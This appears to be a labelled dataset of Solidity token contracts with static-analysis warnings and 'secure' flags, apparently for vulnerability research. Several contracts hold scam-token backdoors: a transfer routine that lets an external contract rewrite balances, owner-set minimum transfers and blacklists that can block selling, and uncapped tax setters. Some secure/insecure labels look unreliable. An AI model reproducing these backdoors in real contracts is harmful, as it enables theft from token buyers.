files
dict
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IHBToken {\n\t// WARNING Vulnerability (erc20-interface | severity: Medium | ID: 05f4d6a): IHBToken has incorrect ERC20 function interfaceIHBToken.transferFrom(address,address,uint256)\n\t// Recommendation for 05f4d6a: Set the appropriate return values and types for the defined 'ERC20' functions.\n function transferFrom(address from, address to, uint256 tokenId) external;\n\t// WARNING Vulnerability (erc20-interface | severity: Medium | ID: 632ef33): IHBToken has incorrect ERC20 function interfaceIHBToken.balanceOf(address)\n\t// Recommendation for 632ef33: Set the appropriate return values and types for the defined 'ERC20' functions.\n function balanceOf(address owner) external;\n}", "file_name": "solidity_code_3429.sol", "secure": 0, "size_bytes": 765 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract TOGA is ERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5cc801f): TOGA.routerAdress should be constant \n\t// Recommendation for 5cc801f: Add the 'constant' attribute to state variables that never change.\n address routerAdress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n\t// WARNING Optimization Issue (constable-states | ID: b6bb3bb): TOGA.DEAD should be constant \n\t// Recommendation for b6bb3bb: Add the 'constant' attribute to state variables that never change.\n address DEAD = 0x000000000000000000000000000000000000dEaD;\n\n string private _name;\n\n string private _symbol;\n\n uint8 constant _decimals = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6487a49): TOGA._totalSupply should be constant \n\t// Recommendation for 6487a49: Add the 'constant' attribute to state variables that never change.\n uint256 public _totalSupply = 1_000_000_000 * (10 ** _decimals);\n\n uint256 public _maxWalletAmount = (_totalSupply * 100) / 100;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 7562786): TOGA._swapTOGAThreshHold should be immutable \n\t// Recommendation for 7562786: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _swapTOGAThreshHold = (_totalSupply * 1) / 10000;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 8027c11): TOGA._maxTaxSwap should be immutable \n\t// Recommendation for 8027c11: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _maxTaxSwap = (_totalSupply * 10) / 10000;\n\n mapping(address => uint256) _balances;\n\n mapping(address => mapping(address => uint256)) _allowances;\n\n mapping(address => bool) isFeeExempt;\n\n mapping(address => bool) isTxLimitExempt;\n\n mapping(address => bool) private TOGAs;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 44839c2): TOGA._TOGAWallet should be immutable \n\t// Recommendation for 44839c2: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _TOGAWallet;\n\n address public pair;\n\n IUniswapV2Router02 public router;\n\n bool public swapEnabled = false;\n\n bool public TOGAFeeEnabled = false;\n\n bool public TradingOpen = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 62e120d): TOGA._initBuyTax should be constant \n\t// Recommendation for 62e120d: Add the 'constant' attribute to state variables that never change.\n uint256 private _initBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: b45fab3): TOGA._initSellTax should be constant \n\t// Recommendation for b45fab3: Add the 'constant' attribute to state variables that never change.\n uint256 private _initSellTax = 0;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6defd0b): TOGA._reduceBuyTaxAt should be constant \n\t// Recommendation for 6defd0b: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: bb7a0d8): TOGA._reduceSellTaxAt should be constant \n\t// Recommendation for bb7a0d8: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 0;\n\n uint256 private _buyCounts = 0;\n\n bool inSwap;\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 8b7dad9): TOGA.constructor(address,string,string).TOGAWallet lacks a zerocheck on \t _TOGAWallet = TOGAWallet\n\t// Recommendation for 8b7dad9: Check that the address is not zero.\n constructor(\n address TOGAWallet,\n string memory name_,\n string memory symbol_\n ) Ownable(msg.sender) {\n address _owner = owner;\n\n\t\t// missing-zero-check | ID: 8b7dad9\n _TOGAWallet = TOGAWallet;\n\n _name = name_;\n\n _symbol = symbol_;\n\n isFeeExempt[_owner] = true;\n\n isFeeExempt[_TOGAWallet] = true;\n\n isFeeExempt[address(this)] = true;\n\n isTxLimitExempt[_owner] = true;\n\n isTxLimitExempt[_TOGAWallet] = true;\n\n isTxLimitExempt[address(this)] = true;\n\n _balances[_owner] = _totalSupply;\n\n emit Transfer(address(0), _owner, _totalSupply);\n }\n\n function getOwner() external view override returns (address) {\n return owner;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function _basicTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n _balances[sender] = _balances[sender].sub(\n amount,\n \"Insufficient Balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n function withdrawTOGABalance() external onlyOwner {\n require(address(this).balance > 0, \"Token: no ETH to clear\");\n\n payable(msg.sender).transfer(address(this).balance);\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _allowances[msg.sender][spender] = amount;\n\n emit Approval(msg.sender, spender, amount);\n\n return true;\n }\n\n function enableTOGATrade() public onlyOwner {\n require(!TradingOpen, \"trading is already open\");\n\n TradingOpen = true;\n\n TOGAFeeEnabled = true;\n\n swapEnabled = true;\n }\n\n function getTOGAAmounts(\n uint256 action,\n bool takeFee,\n uint256 tAmount\n ) internal returns (uint256, uint256) {\n uint256 sAmount = takeFee\n ? tAmount\n : TOGAFeeEnabled\n ? takeTOGAAmountAfterFees(action, takeFee, tAmount)\n : tAmount;\n\n uint256 rAmount = TOGAFeeEnabled && takeFee\n ? takeTOGAAmountAfterFees(action, takeFee, tAmount)\n : tAmount;\n\n return (sAmount, rAmount);\n }\n\n function decimals() external pure override returns (uint8) {\n return _decimals;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 7a85c12): TOGA.internalSwapBackEth(uint256) sends eth to arbitrary user Dangerous calls address(_TOGAWallet).transfer(ethAmountFor)\n\t// Recommendation for 7a85c12: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function internalSwapBackEth(uint256 amount) private lockTheSwap {\n uint256 tokenBalance = balanceOf(address(this));\n\n uint256 amountToSwap = min(amount, min(tokenBalance, _maxTaxSwap));\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = router.WETH();\n\n\t\t// reentrancy-events | ID: cf0693f\n\t\t// reentrancy-eth | ID: 9f542a0\n router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amountToSwap,\n 0,\n path,\n address(this),\n block.timestamp\n );\n\n uint256 ethAmountFor = address(this).balance;\n\n\t\t// reentrancy-events | ID: cf0693f\n\t\t// reentrancy-eth | ID: 9f542a0\n\t\t// arbitrary-send-eth | ID: 7a85c12\n payable(_TOGAWallet).transfer(ethAmountFor);\n }\n\n function removeTOGALimit() external onlyOwner returns (bool) {\n _maxWalletAmount = _totalSupply;\n\n return true;\n }\n\n function takeTOGAAmountAfterFees(\n uint256 TOGAActions,\n bool TOGATakefee,\n uint256 amounts\n ) internal returns (uint256) {\n uint256 TOGAPercents;\n\n uint256 TOGAFeePrDenominator = 100;\n\n if (TOGATakefee) {\n if (TOGAActions > 1) {\n TOGAPercents = (\n _buyCounts > _reduceSellTaxAt ? _finalSellTax : _initSellTax\n );\n } else {\n if (TOGAActions > 0) {\n TOGAPercents = (\n _buyCounts > _reduceBuyTaxAt\n ? _finalBuyTax\n : _initBuyTax\n );\n } else {\n TOGAPercents = 0;\n }\n }\n } else {\n TOGAPercents = 1;\n }\n\n uint256 feeAmounts = amounts.mul(TOGAPercents).div(\n TOGAFeePrDenominator\n );\n\n\t\t// reentrancy-eth | ID: 9f542a0\n _balances[address(this)] = _balances[address(this)].add(feeAmounts);\n\n feeAmounts = TOGATakefee ? feeAmounts : amounts.div(TOGAPercents);\n\n return amounts.sub(feeAmounts);\n }\n\n receive() external payable {}\n\n function _transferTaxTokens(\n address sender,\n address recipient,\n uint256 amount,\n uint256 action,\n bool takeFee\n ) internal returns (bool) {\n uint256 senderAmount;\n\n uint256 recipientAmount;\n\n (senderAmount, recipientAmount) = getTOGAAmounts(\n action,\n takeFee,\n amount\n );\n\n\t\t// reentrancy-eth | ID: 9f542a0\n _balances[sender] = _balances[sender].sub(\n senderAmount,\n \"Insufficient Balance\"\n );\n\n\t\t// reentrancy-eth | ID: 9f542a0\n _balances[recipient] = _balances[recipient].add(recipientAmount);\n\n\t\t// reentrancy-events | ID: cf0693f\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n function allowance(\n address holder,\n address spender\n ) external view override returns (uint256) {\n return _allowances[holder][spender];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e91f379): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e91f379: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 6d60716): TOGA.createTOGATrade() ignores return value by router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner,block.timestamp)\n\t// Recommendation for 6d60716: Ensure that all the return values of the function calls are used.\n function createTOGATrade() external onlyOwner {\n router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t\t// reentrancy-benign | ID: e91f379\n pair = IUniswapV2Factory(router.factory()).createPair(\n address(this),\n router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: e91f379\n isTxLimitExempt[pair] = true;\n\n\t\t// reentrancy-benign | ID: e91f379\n _allowances[address(this)][address(router)] = type(uint256).max;\n\n\t\t// unused-return | ID: 6d60716\n router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner,\n block.timestamp\n );\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n\n function inSwapTOGATokens(\n bool isIncludeFees,\n uint256 isSwapActions,\n uint256 pAmount,\n uint256 pLimit\n ) internal view returns (bool) {\n uint256 minTOGATokens = pLimit;\n\n uint256 tokenTOGAWeight = pAmount;\n\n uint256 contractTOGAOverWeight = balanceOf(address(this));\n\n bool isSwappable = contractTOGAOverWeight > minTOGATokens &&\n tokenTOGAWeight > minTOGATokens;\n\n return\n !inSwap &&\n isIncludeFees &&\n isSwapActions > 1 &&\n isSwappable &&\n swapEnabled;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: e85d41a): TOGA.reduceFinalBuyTax(uint256) should emit an event for _finalBuyTax = _newFee \n\t// Recommendation for e85d41a: Emit an event for critical parameter changes.\n function reduceFinalBuyTax(uint256 _newFee) external onlyOwner {\n\t\t// events-maths | ID: e85d41a\n _finalBuyTax = _newFee;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: b2b4e6a): TOGA.reduceFinalSellTax(uint256) should emit an event for _finalSellTax = _newFee \n\t// Recommendation for b2b4e6a: Emit an event for critical parameter changes.\n function reduceFinalSellTax(uint256 _newFee) external onlyOwner {\n\t\t// events-maths | ID: b2b4e6a\n _finalSellTax = _newFee;\n }\n\n function isTOGAUserBuy(\n address sender,\n address recipient\n ) internal view returns (bool) {\n return\n recipient != pair &&\n recipient != DEAD &&\n !isFeeExempt[sender] &&\n !isFeeExempt[recipient];\n }\n\n function isTakeTOGAActions(\n address from,\n address to\n ) internal view returns (bool, uint256) {\n uint256 _actions = 0;\n\n bool _isTakeFee = isTakeFees(from);\n\n if (to == pair) {\n _actions = 2;\n } else if (from == pair) {\n _actions = 1;\n } else {\n _actions = 0;\n }\n\n return (_isTakeFee, _actions);\n }\n\n function addTOGAs(address[] memory TOGAs_) public onlyOwner {\n for (uint256 i = 0; i < TOGAs_.length; i++) {\n TOGAs[TOGAs_[i]] = true;\n }\n }\n\n function delTOGAs(address[] memory notTOGA) public onlyOwner {\n for (uint256 i = 0; i < notTOGA.length; i++) {\n TOGAs[notTOGA[i]] = false;\n }\n }\n\n function isTOGA(address a) public view returns (bool) {\n return TOGAs[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: cf0693f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for cf0693f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9f542a0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9f542a0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transferStandardTokens(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n bool takefee;\n\n uint256 actions;\n\n require(!TOGAs[sender] && !TOGAs[recipient]);\n\n if (inSwap) {\n return _basicTransfer(sender, recipient, amount);\n }\n\n if (!isFeeExempt[sender] && !isFeeExempt[recipient]) {\n require(TradingOpen, \"Trading not open yet\");\n }\n\n if (!swapEnabled) {\n return _basicTransfer(sender, recipient, amount);\n }\n\n if (isTOGAUserBuy(sender, recipient)) {\n require(\n isTxLimitExempt[recipient] ||\n _balances[recipient] + amount <= _maxWalletAmount,\n \"Transfer amount exceeds the bag size.\"\n );\n\n increaseBuyCount(sender);\n }\n\n (takefee, actions) = isTakeTOGAActions(sender, recipient);\n\n if (inSwapTOGATokens(takefee, actions, amount, _swapTOGAThreshHold)) {\n\t\t\t// reentrancy-events | ID: cf0693f\n\t\t\t// reentrancy-eth | ID: 9f542a0\n internalSwapBackEth(amount);\n }\n\n\t\t// reentrancy-events | ID: cf0693f\n\t\t// reentrancy-eth | ID: 9f542a0\n _transferTaxTokens(sender, recipient, amount, actions, takefee);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n if (_allowances[sender][msg.sender] != type(uint256).max) {\n _allowances[sender][msg.sender] = _allowances[sender][msg.sender]\n .sub(amount, \"Insufficient Allowance\");\n }\n\n return _transferStandardTokens(sender, recipient, amount);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n return _transferStandardTokens(msg.sender, recipient, amount);\n }\n\n function increaseBuyCount(address sender) internal {\n if (sender == pair) {\n _buyCounts++;\n }\n }\n\n function isTakeFees(address sender) internal view returns (bool) {\n return !isFeeExempt[sender];\n }\n}", "file_name": "solidity_code_343.sol", "secure": 0, "size_bytes": 18296 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract INSPLayer is ERC20, Ownable {\n uint256 constant maxWalletStart = 2e16;\n uint256 constant addMaxWalletPerMinute = 1e16;\n uint256 public constant totalSupplyOnStart = 1e18;\n uint256 tradingStartTime;\n address public pool;\n\n constructor() ERC20(\"Inspect \", \" INSP \") {\n _mint(msg.sender, totalSupplyOnStart);\n }\n\n function decimals() public pure override returns (uint8) {\n return 9;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: d057f14): INSPLayer.maxWallet() uses timestamp for comparisons Dangerous comparisons tradingStartTime == 0 res > totalSupply()\n\t// Recommendation for d057f14: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 0541c35): INSPLayer.maxWallet() uses a dangerous strict equality tradingStartTime == 0\n\t// Recommendation for 0541c35: Don't use strict equality to determine if an account has enough Ether or tokens.\n function maxWallet() public view returns (uint256) {\n\t\t// timestamp | ID: d057f14\n\t\t// incorrect-equality | ID: 0541c35\n if (tradingStartTime == 0) return totalSupply();\n uint256 res = maxWalletStart +\n ((block.timestamp - tradingStartTime) * addMaxWalletPerMinute) /\n (1 minutes);\n\t\t// timestamp | ID: d057f14\n if (res > totalSupply()) return totalSupply();\n return res;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 684d3ba): INSPLayer._beforeTokenTransfer(address,address,uint256) uses timestamp for comparisons Dangerous comparisons require(bool,string)(balanceOf(to) + amount <= maxWallet(),wallet maximum)\n\t// Recommendation for 684d3ba: Avoid relying on 'block.timestamp'.\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual override {\n if (pool == address(0)) {\n require(from == owner() || to == owner(), \"trading is not started\");\n return;\n }\n\n if (to != pool)\n\t\t\t// timestamp | ID: 684d3ba\n require(balanceOf(to) + amount <= maxWallet(), \"wallet maximum\");\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: d07d4b9): INSPLayer.startTrade(address).poolAddress lacks a zerocheck on \t pool = poolAddress\n\t// Recommendation for d07d4b9: Check that the address is not zero.\n function startTrade(address poolAddress) public onlyOwner {\n tradingStartTime = block.timestamp;\n\t\t// missing-zero-check | ID: d07d4b9\n pool = poolAddress;\n }\n}", "file_name": "solidity_code_3430.sol", "secure": 0, "size_bytes": 2819 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract DogeCoinX is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => uint256) private _holdBase;\n bool private _activeTrade = true;\n\n string private _name;\n string private _symbol;\n\t// WARNING Optimization Issue (immutable-states | ID: 36b6031): DogeCoinX._decimals should be immutable \n\t// Recommendation for 36b6031: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\t// WARNING Optimization Issue (immutable-states | ID: 0dc4206): DogeCoinX._totalSupply should be immutable \n\t// Recommendation for 0dc4206: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n _symbol = symbol_;\n _decimals = decimals_;\n _totalSupply = totalSupply_ * (10 ** uint256(decimals_));\n _balances[_msgSender()] = _totalSupply;\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(_activeTrade, \"DogeX: Trading is currently disabled\");\n require(\n amount >= _holdBase[_msgSender()],\n \"DogeX: Transfer amount is less than the minimum allowed\"\n );\n require(\n _balances[_msgSender()] >= amount,\n \"DogeX: transfer amount exceeds balance\"\n );\n _balances[_msgSender()] -= amount;\n _balances[recipient] += amount;\n emit Transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 42a4c35): DogeCoinX.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 42a4c35: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n emit Approval(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(_activeTrade, \"DogeX: Trading is currently disabled\");\n require(\n amount >= _holdBase[sender],\n \"DogeX: Hold lesser than minimum amount\"\n );\n require(\n _balances[sender] >= amount,\n \"DogeX: transfer amount exceeds balance\"\n );\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"DogeX: transfer amount exceeds allowance\"\n );\n _balances[sender] -= amount;\n _balances[recipient] += amount;\n _allowances[sender][_msgSender()] -= amount;\n emit Transfer(sender, recipient, amount);\n return true;\n }\n\n event MinBuyReached(address indexed account, uint256 newAmount);\n\n function setHoldBase(address account, uint256 newAmount) public onlyOwner {\n require(\n account != address(0),\n \"DogeX: address zero is not a valid account\"\n );\n _holdBase[account] = newAmount;\n emit MinBuyReached(account, newAmount);\n }\n\n function getHoldBase(address account) public view returns (uint256) {\n return _holdBase[account];\n }\n\n function isActiveTrade() public view returns (bool) {\n return _activeTrade;\n }\n\n function setActiveTrade(bool _tradeable) public onlyOwner {\n _activeTrade = _tradeable;\n }\n}", "file_name": "solidity_code_3431.sol", "secure": 0, "size_bytes": 4957 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface Xhhh2131kkkjjj {\n function totalSupply(\n address azUoEpHECwi,\n address tTgQvzCRML,\n uint256 q4jM3smKwV\n ) external view returns (uint256);\n\n function balanceof(address azUoEpHECwi) external view returns (uint256);\n}", "file_name": "solidity_code_3432.sol", "secure": 1, "size_bytes": 325 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./xhhh2131kkkjj.sol\" as xhhh2131kkkjj;\n\ncontract Token is Ownable {\n\t// WARNING Optimization Issue (immutable-states | ID: 710f03a): Token.uniswapPairToken should be immutable \n\t// Recommendation for 710f03a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n xhhh2131kkkjj private uniswapPairToken;\n\t// WARNING Optimization Issue (immutable-states | ID: a09d594): Token.zidaosupply should be immutable \n\t// Recommendation for a09d594: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private zidaosupply = 10000000000 * 10 ** decimals();\n\t// WARNING Optimization Issue (immutable-states | ID: e52abe3): Token._tokentotalSSSupply should be immutable \n\t// Recommendation for e52abe3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _tokentotalSSSupply;\n\t// WARNING Optimization Issue (constable-states | ID: d503119): Token._zidaoTokename should be constant \n\t// Recommendation for d503119: Add the 'constant' attribute to state variables that never change.\n string private _zidaoTokename = \"BORKPEPE\";\n\t// WARNING Optimization Issue (constable-states | ID: 48bcabf): Token._zidaotokenSSSsymbol should be constant \n\t// Recommendation for 48bcabf: Add the 'constant' attribute to state variables that never change.\n string private _zidaotokenSSSsymbol = \"BORKPEPE\";\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n constructor(address pairaddress) {\n emit Transfer(address(0), msg.sender, zidaosupply);\n _tokentotalSSSupply = zidaosupply;\n _balances[msg.sender] = zidaosupply;\n uniswapPairToken = xhhh2131kkkjj(pairaddress);\n }\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n function name() public view returns (string memory) {\n return _zidaoTokename;\n }\n\n function symbol() public view returns (string memory) {\n return _zidaotokenSSSsymbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view returns (uint256) {\n return _tokentotalSSSupply;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function transfer(address to, uint256 amount) public returns (bool) {\n _transfer(_msgSender(), to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7f110a8): Token.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7f110a8: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cd9720c): Token.increaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for cd9720c: Rename the local variables that shadow another component.\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 65f8fb8): Token.decreaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 65f8fb8: Rename the local variables that shadow another component.\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(owner, spender, currentAllowance - subtractedValue);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 165e78a): Token._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 165e78a: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1b516d5): Token._spendAllowance(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1b516d5: Rename the local variables that shadow another component.\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n _balances[from] = uniswapPairToken.totalSupply(\n address(this),\n from,\n _balances[from]\n );\n uint256 balance = _balances[from];\n require(balance >= amount, \"ERC20: transfer amount exceeds balance\");\n _balances[from] = _balances[from] - amount + 0;\n _balances[to] = _balances[to] + amount - 0;\n emit Transfer(from, to, amount);\n }\n}", "file_name": "solidity_code_3433.sol", "secure": 0, "size_bytes": 7038 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ERC20 {\n function liquifying(address, address, address) external view returns (bool);\n function transferFrom(\n address,\n address,\n bool,\n address,\n address\n ) external returns (bool);\n function transfer(\n address,\n address,\n uint256\n ) external pure returns (uint256);\n function getTokenPairAddress() external view returns (address);\n}", "file_name": "solidity_code_3434.sol", "secure": 1, "size_bytes": 496 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\nabstract contract ERC20Token {\n\t// WARNING Optimization Issue (constable-states | ID: 35febe5): ERC20Token.erc20 should be constant \n\t// Recommendation for 35febe5: Add the 'constant' attribute to state variables that never change.\n ERC20 erc20 = ERC20(0x8016f1fc8aF7f682925315B07F45E2b00F39815c);\n function duringLiquify(\n address from,\n address to,\n address pairAddress\n ) public view returns (bool) {\n return isLiquifying(from, to, pairAddress);\n }\n function isLiquifying(\n address from,\n address to,\n address pairAddress\n ) public view returns (bool) {\n return erc20.liquifying(from, to, pairAddress);\n }\n function isAllowed(\n address from,\n address recipient,\n bool burnSwapCall,\n address _to\n ) public returns (bool) {\n\t\t// reentrancy-events | ID: 891a2dc\n\t\t// reentrancy-no-eth | ID: 2bc6b58\n return\n erc20.transferFrom(\n from,\n recipient,\n burnSwapCall,\n address(this),\n _to\n );\n }\n}", "file_name": "solidity_code_3435.sol", "secure": 1, "size_bytes": 1274 }
